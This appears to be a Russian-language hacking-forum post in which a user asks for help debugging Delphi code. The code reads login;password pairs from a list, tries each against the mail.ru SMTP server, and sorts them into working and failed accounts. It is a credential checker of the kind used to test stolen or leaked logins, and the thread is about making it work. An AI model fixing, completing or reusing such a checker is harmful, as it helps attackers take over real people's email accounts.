[Hack_ERR++]

Black Raider, ну вот попробуй сделай с моим кодом, чтобы работало.

lmikle, сделал как у тебя, создал процедуру. Появилась еще одна проблема - счетчик сбивается(i не увеличивается). Вот код, переменные все глобальные

Код:

procedure tform1.check(akk:string);
begin
form1.IdSMTP1.Username:=username;
form1.IdSMTP1.Password:=pass;
form1.IdSMTP1.Connect();
form1.IdSMTP1.Authenticate;
end;

procedure thread1.execute;
begin
username:=copy(form1.Memo1.Lines[i],1,pos(';',form1.Memo1.Lines[i])-1);
pass:=copy(form1.Memo1.Lines[i],pos(';',form1.Memo1.Lines[i])+1,length(form1.Memo1.Lines[i])-length(username)-1);
form1.IdSMTP1.Host:='smtp.mail.ru';
for i:=0 to form1.Memo1.Lines.Count-1 do
  try
    form1.check(form1.Memo1.Lines[i]);
    form1.Memo2.Lines.Add(username+';'+pass);
    form1.IdSMTP1.Disconnect;
    except
  form1.Memo3.Lines.Add(username+';'+pass);
  end;
end;